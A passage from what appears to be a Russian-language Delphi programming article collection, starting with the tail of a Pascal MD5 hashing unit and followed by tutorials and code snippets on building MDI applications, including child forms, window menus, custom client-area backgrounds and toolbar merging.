    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
function _F(x, y, z: UINT4): UINT4;
begin
  Result := (((x) and (y)) or ((not x) and (z)));
end;
function _G(x, y, z: UINT4): UINT4;
begin
  Result := (((x) and (z)) or ((y) and (not z)));
end;
function _H(x, y, z: UINT4): UINT4;
begin
  Result := ((x) xor (y) xor (z));
end;
function _I(x, y, z: UINT4): UINT4;
begin
  Result := ((y) xor ((x) or (not z)));
end;
function ROTATE_LEFT(x, n: UINT4): UINT4;
begin
  Result := (((x) shl (n)) or ((x) shr (32 - (n))));
end;
procedure FF(var a: UINT4; b, c, d, x, s, ac: UINT4);
begin
  a := a + _F(b, c, d) + x + ac;
  a := ROTATE_LEFT(a, s);
  a := a + b;
end;
procedure GG(var a: UINT4; b, c, d, x, s, ac: UINT4);
begin
  a := a + _G(b, c, d) + x + ac;
  a := ROTATE_LEFT(a, s);
  a := a + b;
end;
procedure HH(var a: UINT4; b, c, d, x, s, ac: UINT4);
begin
  a := a + _H(b, c, d) + x + ac;
  a := ROTATE_LEFT(a, s);
  a := a + b;
end;
procedure II(var a: UINT4; b, c, d, x, s, ac: UINT4);
begin
  a := a + _I(b, c, d) + x + ac;
  a := ROTATE_LEFT(a, s);
  a := a + b;
end;
procedure MD5Encode(Output: PByteArray; Input: PUINT4Array; Len: LongWord);
var
  i, j: LongWord;
begin
  j := 0;
  i := 0;
  while j < Len do
  begin
    output[j] := Byte(input[i] and $FF);
    output[j + 1] := Byte((input[i] shr 8) and $FF);
    output[j + 2] := Byte((input[i] shr 16) and $FF);
    output[j + 3] := Byte((input[i] shr 24) and $FF);
    Inc(j, 4);
    Inc(i);
  end;
end;
procedure MD5Decode(Output: PUINT4Array; Input: PByteArray; Len: LongWord);
var
  i, j: LongWord;
begin
  j := 0;
  i := 0;
  while j < Len do
  begin
    Output[i] := UINT4(input[j]) or (UINT4(input[j + 1]) shl 8) or
      (UINT4(input[j + 2]) shl 16) or (UINT4(input[j + 3]) shl 24);
    Inc(j, 4);
    Inc(i);
  end;
end;
procedure MD5_memcpy(Output: PByteArray; Input: PByteArray; Len: LongWord);
begin
  Move(Input^, Output^, Len);
end;
procedure MD5_memset(Output: PByteArray; Value: Integer; Len: LongWord);
begin
  FillChar(Output^, Len, Byte(Value));
end;
procedure MD5Transform(State: PArray4UINT4; Buffer: PArray64Byte);
var
  a, b, c, d: UINT4;
  x: array[0..15] of UINT4;
begin
  a := State[0];
  b := State[1];
  c := State[2];
  d := State[3];
  MD5Decode(PUINT4Array(@x), PByteArray(Buffer), 64);
  FF(a, b, c, d, x[0], S11, $D76AA478);
  FF(d, a, b, c, x[1], S12, $E8C7B756);
  FF(c, d, a, b, x[2], S13, $242070DB);
  FF(b, c, d, a, x[3], S14, $C1BDCEEE);
  FF(a, b, c, d, x[4], S11, $F57C0FAF);
  FF(d, a, b, c, x[5], S12, $4787C62A);
  FF(c, d, a, b, x[6], S13, $A8304613);
  FF(b, c, d, a, x[7], S14, $FD469501);
  FF(a, b, c, d, x[8], S11, $698098D8);
  FF(d, a, b, c, x[9], S12, $8B44F7AF);
  FF(c, d, a, b, x[10], S13, $FFFF5BB1);
  FF(b, c, d, a, x[11], S14, $895CD7BE);
  FF(a, b, c, d, x[12], S11, $6B901122);
  FF(d, a, b, c, x[13], S12, $FD987193);
  FF(c, d, a, b, x[14], S13, $A679438E);
  FF(b, c, d, a, x[15], S14, $49B40821);
  GG(a, b, c, d, x[1], S21, $F61E2562);
  GG(d, a, b, c, x[6], S22, $C040B340);
  GG(c, d, a, b, x[11], S23, $265E5A51);
  GG(b, c, d, a, x[0], S24, $E9B6C7AA);
  GG(a, b, c, d, x[5], S21, $D62F105D);
  GG(d, a, b, c, x[10], S22, $2441453);
  GG(c, d, a, b, x[15], S23, $D8A1E681);
  GG(b, c, d, a, x[4], S24, $E7D3FBC8);
  GG(a, b, c, d, x[9], S21, $21E1CDE6);
  GG(d, a, b, c, x[14], S22, $C33707D6);
  GG(c, d, a, b, x[3], S23, $F4D50D87);
  GG(b, c, d, a, x[8], S24, $455A14ED);
  GG(a, b, c, d, x[13], S21, $A9E3E905);
  GG(d, a, b, c, x[2], S22, $FCEFA3F8);
  GG(c, d, a, b, x[7], S23, $676F02D9);
  GG(b, c, d, a, x[12], S24, $8D2A4C8A);
  HH(a, b, c, d, x[5], S31, $FFFA3942);
  HH(d, a, b, c, x[8], S32, $8771F681);
  HH(c, d, a, b, x[11], S33, $6D9D6122);
  HH(b, c, d, a, x[14], S34, $FDE5380C);
  HH(a, b, c, d, x[1], S31, $A4BEEA44);
  HH(d, a, b, c, x[4], S32, $4BDECFA9);
  HH(c, d, a, b, x[7], S33, $F6BB4B60);
  HH(b, c, d, a, x[10], S34, $BEBFBC70);
  HH(a, b, c, d, x[13], S31, $289B7EC6);
  HH(d, a, b, c, x[0], S32, $EAA127FA);
  HH(c, d, a, b, x[3], S33, $D4EF3085);
  HH(b, c, d, a, x[6], S34, $4881D05);
  HH(a, b, c, d, x[9], S31, $D9D4D039);
  HH(d, a, b, c, x[12], S32, $E6DB99E5);
  HH(c, d, a, b, x[15], S33, $1FA27CF8);
  HH(b, c, d, a, x[2], S34, $C4AC5665);
  II(a, b, c, d, x[0], S41, $F4292244);
  II(d, a, b, c, x[7], S42, $432AFF97);
  II(c, d, a, b, x[14], S43, $AB9423A7);
  II(b, c, d, a, x[5], S44, $FC93A039);
  II(a, b, c, d, x[12], S41, $655B59C3);
  II(d, a, b, c, x[3], S42, $8F0CCC92);
  II(c, d, a, b, x[10], S43, $FFEFF47D);
  II(b, c, d, a, x[1], S44, $85845DD1);
  II(a, b, c, d, x[8], S41, $6FA87E4F);
  II(d, a, b, c, x[15], S42, $FE2CE6E0);
  II(c, d, a, b, x[6], S43, $A3014314);
  II(b, c, d, a, x[13], S44, $4E0811A1);
  II(a, b, c, d, x[4], S41, $F7537E82);
  II(d, a, b, c, x[11], S42, $BD3AF235);
  II(c, d, a, b, x[2], S43, $2AD7D2BB);
  II(b, c, d, a, x[9], S44, $EB86D391);
  Inc(State[0], a);
  Inc(State[1], b);
  Inc(State[2], c);
  Inc(State[3], d);
  MD5_memset(PByteArray(@x), 0, SizeOf(x));
end;
procedure MD5Init(var Context: TMD5Context);
begin
  FillChar(Context, SizeOf(Context), 0);
  Context.state[0] := $67452301;
  Context.state[1] := $EFCDAB89;
  Context.state[2] := $98BADCFE;
  Context.state[3] := $10325476;
end;
procedure MD5Update(var Context: TMD5Context; Input: PByteArray; InputLen:
  LongWord);
var
  i, index, partLen: LongWord;
begin
  index := LongWord((context.count[0] shr 3) and $3F);
  Inc(Context.count[0], UINT4(InputLen) shl 3);
  if Context.count[0] < UINT4(InputLen) shl 3 then
    Inc(Context.count[1]);
  Inc(Context.count[1], UINT4(InputLen) shr 29);
  partLen := 64 - index;
  if inputLen >= partLen then
  begin
    MD5_memcpy(PByteArray(@Context.buffer[index]), Input, PartLen);
    MD5Transform(@Context.state, @Context.buffer);
    i := partLen;
    while i + 63 < inputLen do
    begin
      MD5Transform(@Context.state, PArray64Byte(@Input[i]));
      Inc(i, 64);
    end;
    index := 0;
  end
  else
    i := 0;
  MD5_memcpy(PByteArray(@Context.buffer[index]), PByteArray(@Input[i]), inputLen
    - i);
end;
procedure MD5Final(var Digest: TMD5Digest; var Context: TMD5Context);
var
  bits: array[0..7] of Byte;
  index, padLen: LongWord;
begin
  MD5Encode(PByteArray(@bits), PUINT4Array(@Context.count), 8);
  index := LongWord((Context.count[0] shr 3) and $3F);
  if index < 56 then
    padLen := 56 - index
  else
    padLen := 120 - index;
  MD5Update(Context, PByteArray(@PADDING), padLen);
  MD5Update(Context, PByteArray(@Bits), 8);
  MD5Encode(PByteArray(@Digest), PUINT4Array(@Context.state), 16);
  MD5_memset(PByteArray(@Context), 0, SizeOf(Context));
end;
function MD5DigestToStr(const Digest: TMD5Digest): string;
var
  i: Integer;
begin
  Result := '';
  for i := 0 to 15 do
    Result := Result + IntToHex(Digest.v[i], 2);
end;
function MD5String(const S: string): TMD5Digest;
begin
  Result := MD5Buffer(PChar(S)^, Length(S));
end;
function MD5File(const FileName: string): TMD5Digest;
var
  F: TFileStream;
begin
  F := TFileStream.Create(FileName, fmOpenRead);
  try
    Result := MD5Stream(F);
  finally
    F.Free;
  end;
end;
function MD5Stream(const Stream: TStream): TMD5Digest;
var
  Context: TMD5Context;
  Buffer: array[0..4095] of Byte;
  Size: Integer;
  ReadBytes: Integer;
  TotalBytes: Integer;
  SavePos: Integer;
begin
  MD5Init(Context);
  Size := Stream.Size;
  SavePos := Stream.Position;
  TotalBytes := 0;
  try
    Stream.Seek(0, soFromBeginning);
    repeat
      ReadBytes := Stream.Read(Buffer, SizeOf(Buffer));
      Inc(TotalBytes, ReadBytes);
      MD5Update(Context, @Buffer, ReadBytes);
    until (ReadBytes = 0) or (TotalBytes = Size);
  finally
    Stream.Seek(SavePos, soFromBeginning);
  end;
  MD5Final(Result, Context);
end;
function MD5Buffer(const Buffer; Size: Integer): TMD5Digest;
var
  Context: TMD5Context;
begin
  MD5Init(Context);
  MD5Update(Context, PByteArray(@Buffer), Size);
  MD5Final(Result, Context);
end;
function MD5DigestCompare(const Digest1, Digest2: TMD5Digest): Boolean;
begin
  Result := False;
  if Digest1.A <> Digest2.A then
    Exit;
  if Digest1.B <> Digest2.B then
    Exit;
  if Digest1.C <> Digest2.C then
    Exit;
  if Digest1.D <> Digest2.D then
    Exit;
  Result := True;
end;
end.

Разработка MDI приложений в Delphi.

Статьи по Delphi (011)…

Что такое MDI?

MDI расшифровывается как multiple document interface (многодокументный интерфейс). В приложениях с MDI, в основном (родительском) окне можно окрыть более одного дочернего окна. Данная возможность обычно используется в электронных таблицах или текстовых редакторах.

Каждое MDI приложение имеет три основные составляющие:

Одну (и только одну) родительскую форму MDI, Одну и более (обычно больше) дочерних форм MDI, и основное меню MDI.

MDI "мать"

Как уже упоминалось, в проекте MDI приложения может присутствовать только один MDI контейнер (родительская форма) и он должен быть стартовой формой.

Для создания основного окна MDI приложения проделайте следующие шаги:

Запустите Delphi и выберите File | New Application... Delphi создаст новый проект с одной формой под названием form1 (по умолчанию). В свойстве Name присвойте форме имя frMain. Установите свойство FormStyle в fsMDIform. Сохраните этот проект (имя проекта на Ваше усмотрение, например prMDIExample), вместе с uMain.pas в только что созданной директории. Как Вы успели заметить, для создания основной формы MDI, мы установили свойство FormStyle в fsMDIform. В каждом приложении только одна форма может иметь свойство fsMDIform.

MDI "дети"

Каждое родительское окно MDI нуждается по крайней мере в одной дочерней форме. Дочерние формы MDI - это простые формы, за исключением того, что их видимая часть ограничена размерами родительского окна. Так же при минимизации такого окна, оно помещается не в панель задач, а остаётся внутри родительского окна ( на панель задач попадёт только родительское окно).

Теперь давайте создадим дополнительные формы, а точнее дочерние. Просто выберите File | New Form. Будет создан новый объект формы с именем form1 (по умолчанию). При помощи Object Inspector измените свойство Name в форме form1 на frChild, а свойство FormStyle на fsMDIChild. Сохраните эту форму с соответствующим ей файлом как uchild.pas. Обратите внимание, что при помощи данного свойства мы можем превратить любую существующую форму в дочернюю форму MDI.

Ваше приложение может включать множество дочерних MDI форм такого же или другого типа.

Так же хочется обратить Ваше внимание, что MDI приложение может включать в себя и самые обычные формы, но в отличие от дочерних, они будут отображаться как обычные модальные диалоговые окна (такие как about box, или файловый диалог).

Естевственно, что как на родительском так и на дочернем окнах можно располагать любые элементы управления, однако уже давно сложилась традиция, что на родительской форме располагается панель статуса (status bar) и панель инструментов (toolbar), в то время как на дочерних формах располагаются все остальные контролы, такие как гриды, картинки, поля вводи и т. д.

Автосоздание -> Доступные

Теперь давайте произведём некоторые настройки нашего проекта. Выберите Project | Options, откроется диалог опций проекта (Project Options). В левой панели выберите frChild (Авто-создание форм ("Auto-create forms")), и переместите её в правую панель (Доступные формы (Available forms)). Список правой панели содержит те формы, которые используются Вашим приложением, но которые не созданы автоматически. В MDI приложении, по умолчанию, все дочерние формы создаются автоматически и отображаются в родительской форме.

Создание и отображение

Как упомянуто выше, настройка не позволяет автоматически создавать дочерние окна, поэтому нам необходимо добавить некоторый код, который будет производить создание объекта формы frChild. Следующую функцию CreateChildForm необходимо поместить внутри основной формы (MDI родитель) (наряду с заголовком в interface's private):

uses uchild;
...
procedure TfrMain.CreateChildForm(const childName : string);
var
  Child: TfrChild;
begin
  Child := TfrChild.Create(Application);
  Child.Caption := childName;
end;

Данный код создаёт одну дочернюю форму с заголовком childName. Не забудьте, что этот код находится разделе "uses uchild".

На закрытие не минимизировать!

Закрытие дочернего окна в MDI приложении всего навсего минимизирует его в клиентской области родительского окна. Поэтому мы должны обеспечить процедуру OnClose, и установить параметр Action в caFree:

procedure TfrChild.FormClose(Sender: TObject; var Action: TCloseAction);
begin
  Action := caFree;
end;

Обратите внимание, что если форма является дочерней формой MDI, и её свойство BorderIcons установлено в biMinimize (по умолчанию), то опять же по умолчанию параметр Action установлен в caMinimize. Если же в дочерней форме MDI нет этих установок, то по умолчанию Action установлен как caNone, означающий, что при закрытии формы ничего не случится.

MDI родительское меню

Каждое MDI приложение должно иметь основное меню с (если больше ничего нет), опцией выравнивания окон. Поскольку мы предварительно переместили дочернюю форму из Авто-создаваемых (Auto-create) в Доступные (Available) формы, то нам нужен будет код, который (пункт меню) будет создавать дочерние формы.

Итак, переместите компонент TMainMenu на frMain (MDI родитель) и приведите его к следующему виду:

Для создания дочерних окон в нашем приложении будет использоваться пункт меню "New child". Второе меню (Window) будет использоваться для выравнивания дочерних окошек внутри родительского окна-формы.

Создать и отобразить

В заключении нам необходимо сделать обработчик для пункта меню "New child". При нажатии на пунк меню File | New Child нашего приложения, будет вызываться процедура NewChild1Click которая в свою очередь будет вызывать процедуру CreateChildForm (приведённую выше), для создания (следующего) экземпляра формы frChild.

procedure TfrMain.NewChild1Click(Sender: TObject);
begin
  CreateChildForm('Child '+IntToStr(MDIChildCount+1));
end;

Только что созданная дочерняя форма будет иметь заголовок в виде "Child x", где x представляет количество дочерних форм внутри MDI формы, как описано ниже.

Закрыть всё

При работе с приложением, имеющим многодокументный интерфейс, всегда необходимо иметь процедуру, закрывающую все дочерние окна.

procedure TfrMain.CloseAll1Click(Sender: TObject);
var
  i: integer;
begin
  for i:= 0 to MdiChildCount - 1 do
    MDIChildren[i].Close;
end;

Вам прийдётся выполнять проверку на предмет наличия несохранённой информации в каждом дочернем окне. Для решения данной задачи лучше всего использовать обработчик события OnCloseQuery.

Свойства MdiChildCount и MDIChildren

MdiChildCount свойство read only, содержащее в себе количество созданных дочерних окошек. Если не создано ни одно дочернее окно, то это свойство установлено в 0. Нам прийдётся частенько использовать MdiChildCount наряду с массивом MDIChildren. Массив MDIChildren содержит ссылки на объекты TForm всех дочерних окошек.

Обратите внимание, что MDIChildCount первого созданного дочернего окна равен 1.

Меню Window

Delphi обеспечивает большинство команд, которые можно поместить внутри пункта меню Window. Далее приведён пример вызова трёх основных методов для команд, которые мы поместили в наше приложение:

procedure TfrMain.Cascade1Click(Sender: TObject);
begin
  Cascade;
end;
procedure TfrMain.Tile1Click(Sender: TObject);
begin
  Tile;
end;
procedure TfrMain.ArrangeAll1Click(Sender: TObject);
begin
  ArrangeIcons;
end;

Фон MDI-окон.

Привожу код, который может оказаться полезным. Он позволяет в обычной или MDI-форме создать графический tile-фон или градиентную заливку. (Tile - "секция, плитка" - непрерывное заполнение определенной области немасштабируемым изображением слева-направо сверху вниз - В.О.)

Самая сложная часть кода осуществляет обработку системного сообщения, адресуемого дескриптору окна (ClientHandle), осуществляющему управление дочерними формами. Происходит это в момент вывода изображений в MDI-форме. Все что вам необходимо сделать - в режиме проектирования загрузить в imgTile необходимые изображения и перенести в свою программу следующий код:

unit UMain;
interface
uses
  Windows, Messages, Classes, SysUtils, Graphics, Controls, Forms,
  Dialogs, ExtCtrls, Menus;
type
  TfrmMain = class(TForm)
    mnuMain: TMainMenu;
    mnuFile: TMenuItem;
    mnuExit: TMenuItem;
    imgTile: TImage;
    mnuOptions: TMenuItem;
    mnuBitmap: TMenuItem;
    mnuGradient: TMenuItem;
    procedure mnuExitClick(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure mnuBitmapClick(Sender: TObject);
    procedure mnuGradientClick(Sender: TObject);
    procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);
    procedure FormResize(Sender: TObject);
    procedure FormPaint(Sender: TObject);
  private
    { Private declarations }
    MDIDefProc: pointer;
    MDIInstance: TFarProc;
    procedure MDIWndProc(var prmMsg: TMessage);
    procedure CreateWnd; override;
    procedure ShowBitmap(prmDC: hDC);
    procedure ShowGradient(prmDC: hDC; prmRed, prmGreen, prmBlue: byte);
  public
    { Public declarations }
  end;
var
  frmMain: TfrmMain;
  glbImgWidth: integer;
  glbImgHeight: integer;
implementation
{$R *.DFM}
procedure TfrmMain.FormCreate(Sender: TObject);
begin
  glbImgHeight := imgTile.Picture.Height;
  glbImgWidth := imgTile.Picture.Width;
end;
procedure TfrmMain.FormResize(Sender: TObject);
begin
  FormPaint(Sender);
end;
procedure TfrmMain.MDIWndProc(var prmMsg: TMessage);
begin
  with prmMsg do
  begin
    if Msg = WM_ERASEBKGND then
    begin
      if mnuBitmap.Checked then
        ShowBitmap(wParam)
      else
        ShowGradient(wParam, 255, 0, 0);
      Result := 1;
    end
    else
      Result := CallWindowProc(MDIDefProc, ClientHandle, Msg, wParam, lParam);
  end;
end;
procedure TfrmMain.CreateWnd;
begin
  inherited CreateWnd;
  MDIInstance := MakeObjectInstance(MDIWndProc); { создаем ObjectInstance }
  MDIDefProc := pointer(SetWindowLong(ClientHandle, GWL_WNDPROC,
    longint(MDIInstance)));
end;
procedure TfrmMain.FormCloseQuery(Sender: TObject; var CanClose:
  Boolean);
begin
  { восстанавоиваем proc окна по умолчанию }
  SetWindowLong(ClientHandle, GWL_WNDPROC, longint(MDIDefProc));
  { избавляемся от ObjectInstance }
  FreeObjectInstance(MDIInstance);
end;
procedure TfrmMain.mnuExitClick(Sender: TObject);
begin
  close;
end;
procedure TfrmMain.mnuBitmapClick(Sender: TObject);
var
  wrkDC: hDC;
begin
  wrkDC := GetDC(ClientHandle);
  ShowBitmap(wrkDC);
  ReleaseDC(ClientHandle, wrkDC);
  mnuBitmap.Checked := true;
  mnuGradient.Checked := false;
end;
procedure TfrmMain.mnuGradientClick(Sender: TObject);
var
  wrkDC: hDC;
begin
  wrkDC := GetDC(ClientHandle);
  ShowGradient(wrkDC, 0, 0, 255);
  ReleaseDC(ClientHandle, wrkDC);
  mnuGradient.Checked := true;
  mnuBitMap.Checked := false;
end;
procedure TfrmMain.ShowBitmap(prmDC: hDC);
var
  wrkSource: TRect;
  wrkTarget: TRect;
  wrkX: integer;
  wrkY: integer;
begin
  { заполняем (tile) окно изображением }
  if FormStyle = fsNormal then
  begin
    wrkY := 0;
    while wrkY < ClientHeight do { заполняем сверху вниз.. }
    begin
      wrkX := 0;
      while wrkX < ClientWidth do { ..и слева направо. }
      begin
        Canvas.Draw(wrkX, wrkY, imgTile.Picture.Bitmap);
        Inc(wrkX, glbImgWidth);
      end;
      Inc(wrkY, glbImgHeight);
    end;
  end
  else if FormStyle = fsMDIForm then
  begin
    Windows.GetClientRect(ClientHandle, wrkTarget);
    wrkY := 0;
    while wrkY < wrkTarget.Bottom do
    begin
      wrkX := 0;
      while wrkX < wrkTarget.Right do
      begin
        BitBlt(longint(prmDC), wrkX, wrkY, imgTile.Width, imgTile.Height,
          imgTile.Canvas.Handle, 0, 0, SRCCOPY);
        Inc(wrkX, glbImgWidth);
      end;
      Inc(wrkY, glbImgHeight);
    end;
  end;
end;
procedure TfrmMain.ShowGradient(prmDC: hDC; prmRed, prmGreen, prmBlue: byte);
var
  wrkBrushNew: hBrush;
  wrkBrushOld: hBrush;
  wrkColor: TColor;
  wrkCount: integer;
  wrkDelta: integer;
  wrkRect: TRect;
  wrkSize: integer;
  wrkY: integer;
begin
  { процедура заполнения градиентной заливкой }
  wrkDelta := 255 div (1 + ClientHeight); { желаемое количество оттенков }
  if wrkDelta = 0 then
    wrkDelta := 1; { да, обычно 1 }
  wrkSize := ClientHeight div 240; { размер смешанных баров }
  if wrkSize = 0 then
    wrkSize := 1;
  for wrkY := 0 to 1 + (ClientHeight div wrkSize) do
  begin
    wrkColor := RGB(prmRed, prmGreen, prmBlue);
    wrkRect := Rect(0, wrkY * wrkSize, ClientWidth, (wrkY + 1) * wrkSize);
    if FormStyle = fsNormal then
    begin
      Canvas.Brush.Color := wrkColor;
      Canvas.FillRect(wrkRect);
    end
    else if FormStyle = fsMDIForm then
    begin
      wrkBrushNew := CreateSolidBrush(wrkColor);
      wrkBrushOld := SelectObject(prmDC, wrkBrushNew);
      FillRect(prmDC, wrkRect, wrkBrushNew);
      SelectObject(prmDC, wrkBrushOld);
      DeleteObject(wrkBrushNew);
    end;
    if prmRed > wrkDelta then
      Dec(prmRed, wrkDelta);
    if prmGreen > wrkDelta then
      Dec(prmGreen, wrkDelta);
    if prmBlue > wrkDelta then
      Dec(prmBlue, wrkDelta);
  end;
end;
procedure TfrmMain.FormPaint(Sender: TObject);
begin
  if FormStyle = fsNormal then
    if mnuBitMap.Checked then
      mnuBitMapClick(Sender)
    else
      mnuGradientClick(Sender);
end;
end.

Задать цвет фона для MDI-формы.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

{******************************************************************************* 
 * 
 *  Hintergrundfarbe eines MDI-Formulars setzen ohne die Farbe der darauf 
 *  liegenden Objekte wie TGroupBox oder TPageControl zu verandern. 
 * 
 *  Setting the Background color of a MDI Form without changing the color 
 *  of overlayed objects like TGroupBox or TPageControl. 
 * 
 ******************************************************************************}
 unit Unit1;
 interface
 uses
   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
   Dialogs;
 type
   TForm1 = class(TForm)
   private
     FClientInstance: TFarProc;
     FPrevClientProc: TFarProc;
     BkBrush: HBRUSH;
     procedure ClientWndProc(var Message: TMessage);
   public
     constructor Create(AOwner: TComponent); override;
     destructor Destroy; override;
   end;
 implementation
 {$R *.dfm}
 constructor TForm1.Create(AOwner: TComponent);
 begin
   inherited;
   BkBrush := CreateSolidBrush(clGray);
   FClientInstance := Classes.MakeObjectInstance(ClientWndProc);
   FPrevClientProc := Pointer(GetWindowLong(ClientHandle, GWL_WNDPROC));
   SetWindowLong(ClientHandle, GWL_WNDPROC, Longint(FClientInstance));
 end;
 destructor TForm1.Destroy;
 begin
   DeleteObject(BkBrush);
   inherited;
 end;
 procedure TForm1.ClientWndProc(var Message: TMessage);
 var
   DC: HDC;
   BrushOld: HBRUSH;
 begin
   with Message do
    begin
     case Msg of
       WM_ERASEBKGND:
         begin
           DC := TWMEraseBkGnd(Message).DC;
           BrushOld := SelectObject(DC, BkBrush);
           FillRect(DC, ClientRect, BkBrush);
           SelectObject(DC, BrushOld);
           Result := 1;
         end;
       else
         Result := CallWindowProc(FPrevClientProc, ClientHandle, Msg, wParam, lParam);
     end;
   end;
 end;
 end.

Проблема всплывающих подсказок в дочерних MDI-формах.

Если вам просто нужно отобразить всплывающие подсказки от элементов управления вашей дочерней формы, то сделайте это в вашей главной форме.

Объявите следующую процедуру в классе вашей главной формы:

private
{============================================================}
{ Процедура, вызываемая приложением всякий раз, когда        }
{ приложение хотело бы показать всплывающую подсказку.       }
{ Добавляет хинт на панель статуса.                          }
{============================================================}
procedure ShowHint(Sender : TObject);

Затем в процедуре главной формы .create добавьте следующую строку:

{ Отображает хинт на статусной панели}
Application.OnHint := ShowHint;

Теперь приведем код функции ShowHint, принадлежащей главной форме:

{================================================================}
{ Обновляем pnlStatusText.Caption с текстом всплывающей подсказки}
{ элемента управления, над которым находится курсор мыши.        }
{================================================================}
procedure
TMainFrame.ShowHint
(
Sender : TObject  {Объект, вызывающий данную процедуру}
);
begin
pnlStatusText.Caption := Application.Hint;
end; { TMainFrame.ShowHint }

Это должно работать. Вам нужно будет только задать текст подсказок для элементов управления во всех окнах, включая главное. Устанавливая свойство показа хинтов в false или true, вы тем самым указываете способ показа хинтов: обычным способом в виде всплывающих окошек, или совместно с показом в строке состояния.

Меню дочерних MDI-форм.

Так как MDI-приложения всегда объединяют меню дочерних окон с главным меню родительского окна, вы можете установить определенное значение для указания позиции элементов меню в новой, объединенной строке меню. Это называется индексом группы. Но работает оно только для видимых пунктов меню. Так, например, если ваше MDI-меню имеет: [Файл] [Вид] [О программе] (со значениями индексов групп 1 5 10) (Значения не имеют никакого значения (извините за невольный каламбур), они используются только лишь для сортировки), а меню дочерней MDI-формы имеет: [Файл] [Редактирование] (и им присвоены значения 1 и 3), то при открытии дочернего MDI-окна пункт меню [Файл] заменит соответствующий пункт меню родительской MDI-формы. Пункт меню [Редактирование] будет расположен перед пунктами [Вид] и [О программе] родительской формы. Это может оказаться весьма полезным, поскольку меню [Файл] MDI-формы в нормальной ситуации может содержать меньшее количество пунктов меню по сравнению с ситуацией, когда имеется открытая дочерняя MDI-форма. К примеру, в описанной выше ситуации в меню [Файл] MDI-формы необходимы только пункты [Сохранить] или [Закрыть], а в случае отсутствия дочерних окон - [Открыть] и [Новое]. Все описанные выше пункты вы должны ввести в меню дочерней формы, поскольку оно заменит существующий пункт [Файл]. Вы все еще можете использовать код родительской формы в дочерней.

Так, если у вас имеется процедура "parent.open1click", вы можете вызывать ее из меню [Файл] дочернего окна после его открытия.

Позиция дочерних MDI-окон.

Автор: Richard Cox Проблема, с котороя я столкнулся, заключается в том, что нижняя часть дочерней формы загораживает панель состояния родительской формы... У меня была аналогичная проблема -- она проявлялась при условии, когда свойство главной формы WindowState устанавливалось на wsMinimized.

Вот мое решение: добавьте этот небольшой метод к вашей главной форме:

interface
procedure CMShowingChanged(var Message: TMessage);
message CM_SHOWINGCHANGED;
implementation
procedure TMainForm.CMShowingChanged(var Message: TMessage);
var
  theRect: TRect;
begin
  inherited;
  theRect := GetClientRect;
  AlignControls(nil, theRect);
end;
Это работает, поскольку вызов AlignControls (в TForm) делает две вещи: выравнивает элементы управления (включая ваш проблемный StatusBar) и вновь позиционирует окно клиента относительно главной формы (оно ссылается на ClientHandle) после того, как элементы управления будут выравнены... что, впрочем, мы и хотели.

Почему MDI Child форма при закрывании просто минимизируется.

Статьи по Delphi (011)…

Обрабатывайте событие OnClose для формы и выставляйте в нем параметр Action в caFree. Дело в том, что его значение по умолчанию для MDI Child форм caMinimize. Кстати, если сделать Action := caNone, то форму нельзя будет закрыть.

Сколько открыто дочерних окон.

with Form1 do
  for I := 0 to MDIChildCount-1 do
    MDIChildren[I].Close;

Открытие MDI-окон определенного размера.

var
  ProjectWindow: TWndProject;
begin
  If ProjectActive=false then 
  begin
    LockWindowUpdate(ClientHandle);
    ProjectWindow:=TWndProject.Create(self);
    ProjectWindow.Left:=10;
    ProjectWindow.Top:=10;
    ProjectWindow.Width:=373;
    ProjecTwindow.Height:=222;
    ProjectWindow.Show;
    LockWindowUpdate(0);
  end;
end;

Используйте LockWindowUpdate перед созданием окна и после того, как создание будет завершено.

Как сделать родительское окно с фоновым рисунком в клиентской области.

Статьи по Delphi (011)… Сначала установите свойство формы FormStyle в fsMDIForm. Затем разместите Image на форме и загрузите в него картинку. Найдите { Private Declarations } в обьявлении формы и добаьте следующие строки:
FClientInstance: TFarProc;
FPrevClientProc: TFarProc;
procedure ClientWndProc(var message: TMessage);
Добавьте следующие строки в разделе implementation:
procedure TMainForm.ClientWndProc(var message: TMessage);
var
  Dc: hDC;
  Row: Integer;
  Col: Integer;
begin
  with message do
    case Msg of
      WM_ERASEBKGND:
      begin
        Dc := TWMEraseBkGnd(message).Dc;
        for Row := 0 to ClientHeight div Image1.Picture.Height do
          for Col := 0 to ClientWidth div Image1.Picture.Width do
            BitBlt(Dc, Col * Image1.Picture.Width, Row *
            Image1.Picture.Height, Image1.Picture.Width,
            Image1.Picture.Height, Image1.Picture.Bitmap.Canvas.Handle,
            0, 0, SRCCOPY);
        Result := 1;
      end;
      else
        Result := CallWindowProc(FPrevClientProc,
        ClientHandle, Msg, wParam, lParam);
    end;
end;
По созданию окна [событие OnCreate()] напишите такой код:
FClientInstance := MakeObjectInstance(ClientWndProc);
FPrevClientProc := Pointer(GetWindowLong(ClientHandle, GWL_WNDPROC));
SetWindowLong(ClientHandle, GWL_WNDPROC, LongInt(FClientInstance));
Добавьте к проекту новую форму и установите ее свойство FormStyle в fsMDIChild

Как сделать MDI-приложение, где сливаются меню дочернего и главного окна, и полосы инструментов.

Вариант 1. CoolBar.

procedure TMainForm.SetBands(AControls: array of TWinControl;
ABreaks: array of boolean);
var
  i: integer;
begin
  with CoolBar do
  begin
    for i:=0 to High(AControls) do
    begin
      if Bands.Count=succ(i) then
        TCoolBand.Create(Bands);
      with Bands[succ(i)] do
      begin
        if Assigned(Control) then
          Control.Hide;
        MinHeight:=AControls[i].Height;
        Break:=ABreaks[i];
        Control:=AControls[i];
        Control.Show;
        Visible:=true;
      end
    end;
    for i:=High(AControls)+2 to pred(Bands.Count) do
      Bands[i].Free
  end
end;

И.

procedure TMsgForm.FormActivate(Sender: TObject);
begin
  MainForm.SetBands([ToolBar],[false])
end;

Примечание: Оба массива равны по длине. CoolBar.Bands[0] должен существовать всегда,.. на нём я размешаю "глобальные" кнопки. Соо1Ваг[1] тоже можно сделать в DesignTime с Break:=false и придвинуть поближе с началу. При CoolBar.AutoSize:=true возможно "мигании" (при добавлении на новую строку) так что можно добавить:

AutoSize := false;
try
  ...
finally
AutoSize := true;

Вариант 2.

TMainForm
  ...
  object SpeedBar: TPanel
  ...
